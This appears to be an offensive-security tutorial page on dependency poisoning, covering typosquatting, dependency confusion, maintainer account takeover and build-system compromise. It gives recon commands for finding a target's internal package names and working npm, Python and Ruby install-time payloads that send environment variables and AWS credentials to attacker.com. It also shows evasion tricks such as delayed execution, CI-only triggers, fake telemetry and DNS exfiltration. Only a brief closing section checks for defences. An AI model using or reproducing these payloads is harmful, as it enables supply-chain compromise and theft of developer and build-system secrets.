💀 Expert
Dependency Poisoning
Modern applications are 80%+ third-party code. Poisoning a single popular dependency can compromise thousands of downstream targets. This is nation-state level tradecraft.
Real-World Devastation
event-stream (2018) - Backdoor added to package with 2M weekly downloads. SolarWinds (2020) - 18,000+ organizations compromised. ua-parser-js (2021) - Crypto miner injected into 7M weekly downloads. This is not theoretical.
Attack Taxonomy
| Attack Type | Difficulty | Description | Impact |
|---|---|---|---|
| Typosquatting | 🟢 Easy | Register misspelled package names | Developers who typo |
| Dependency Confusion | 🟡 Medium | Hijack internal package names on public registries | Entire organizations |
| Account Takeover | 🟠 Hard | Compromise maintainer credentials | All package users |
| Build System Compromise | 🔴 Expert | Inject malware during package build/publish | Catastrophic |
Typosquatting
Register packages with names similar to popular libraries. Developers who mistype get your malicious version.
NPM Typosquats
- lodash → 1odash, lodahs, loadsh
- express → expres, expresss, expess
- react → reacct, raect, reactt
- axios → axois, axio5, axioss
PyPI Typosquats
- requests → reqeusts, requsets, request
- urllib3 → urrlib3, url1ib3, urllib
- beautifulsoup → beautifulsop, beutifulsoup
- numpy → numppy, nunpy, numy
Dependency Confusion
High-Value Target Attack
Companies use internal package registries (Artifactory, npm Enterprise). If you find an internal package name and register it publicly with a higher version, package managers may pull YOUR malicious version instead.
Attack Flow
🔍
1. Recon
Find internal package names
→
📦
2. Register
Claim on public registry
→
💀
3. Poison
Add preinstall payload
Finding Internal Package Names
bash
# 1. JavaScript source maps (often exposed)
curl https://target.com/app.js.map | grep -oP '"sources":\[.*?\]'
# 2. package.json in exposed directories
curl https://target.com/package.json
curl https://target.com/.npm/package.json
# 3. GitHub search for company packages
site:github.com "target-company" package.json
site:github.com "target-company" requirements.txt
# 4. Error messages (package names leaked)
# Look for: "Cannot find module 'target-internal-lib'"
# 5. Wayback Machine
curl "https://web.archive.org/cdx/search/cdx?url=target.com/package.json&output=json"
# 6. NPM/PyPI search for company name
npm search target-company
pip search target-company # deprecated, use web interface
# Common internal package patterns:
# @company/utils, company-auth, company-logger, internal-api-clientMalicious Package Payloads
bash
// package.json
{
"name": "target-internal-lib",
"version": "99.99.99",
"description": "Internal utilities",
"scripts": {
"preinstall": "node payload.js"
}
}
// payload.js - Exfiltrate build environment
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');
const data = {
hostname: os.hostname(),
user: os.userInfo().username,
cwd: process.cwd(),
env: process.env,
whoami: execSync('whoami').toString(),
id: execSync('id 2>/dev/null || echo N/A').toString(),
aws_creds: execSync('cat ~/.aws/credentials 2>/dev/null || echo N/A').toString(),
ssh_keys: execSync('ls -la ~/.ssh/ 2>/dev/null || echo N/A').toString()
};
const req = https.request({
hostname: 'attacker.com',
port: 443,
path: '/collect',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(JSON.stringify(data));
req.end(); bash
# setup.py
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess, base64
class PostInstall(install):
def run(self):
install.run(self)
# Exfiltrate environment
data = {
'hostname': socket.gethostname(),
'user': os.getenv('USER'),
'pwd': os.getcwd(),
'env': dict(os.environ)
}
import urllib.request, json
urllib.request.urlopen(
urllib.request.Request(
'https://attacker.com/collect',
data=json.dumps(data).encode(),
headers={'Content-Type': 'application/json'}
)
)
setup(
name='target-internal-lib',
version='99.99.99',
cmdclass={'install': PostInstall}
) bash
# ext/extconf.rb - runs during gem install
require 'net/http'
require 'json'
require 'socket'
data = {
hostname: Socket.gethostname,
user: ENV['USER'],
pwd: Dir.pwd,
env: ENV.to_h
}
uri = URI('https://attacker.com/collect')
Net::HTTP.post(uri, data.to_json, 'Content-Type' => 'application/json')
# Still create Makefile so install doesn't fail
File.write('Makefile', "all:\ninstall:\n")Account Takeover
Compromising maintainer credentials gives you control of legitimate packages.
Attack Vectors
- • Credential stuffing (reused passwords)
- • Phishing maintainer emails
- • Session hijacking via XSS on registry
- • Social engineering for 2FA bypass
- • Compromised CI/CD with publish tokens
High-Value Targets
- • Single-maintainer packages
- • Packages with many dependents
- • Dormant but widely-used packages
- • Packages without 2FA enforcement
- • Maintainers with weak OSINT presence
Detection Evasion
bash
// 1. Time-delayed execution (avoid sandbox detection)
setTimeout(() => {
// Malicious code
}, 300000); // 5 minutes
// 2. Environment checks (only run in CI/CD)
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL) {
// Payload only runs in build environments
}
// 3. Hostname checks (target specific companies)
const hostname = require('os').hostname();
if (hostname.includes('target-company') || hostname.includes('prod')) {
// Targeted payload
}
// 4. Obfuscated exfil (looks like telemetry)
const analytics = require('./analytics'); // Actually exfil code
analytics.track('install', { data: process.env });
// 5. DNS exfiltration (bypasses egress filtering)
const dns = require('dns');
const encoded = Buffer.from(JSON.stringify(process.env)).toString('base64');
dns.resolve(`${encoded.slice(0,63)}.attacker.com`, () => {});Defense Enumeration
When testing, check for these defenses:
bash
# Check .npmrc for registry config
cat .npmrc
# Look for: registry=https://internal-registry.company.com
# If public fallback isn't disabled, vulnerable!
# Check pip.conf
cat ~/.pip/pip.conf
cat /etc/pip.conf
# Look for: index-url = https://internal-pypi.company.com
# extra-index-url = https://pypi.org/simple # VULNERABLE!
# Check for package-lock.json integrity
# If resolved URLs point to internal registry, dependency confusion harder
# Check Artifactory/Nexus remote repository config
# Virtual repos that mix internal + external = vulnerable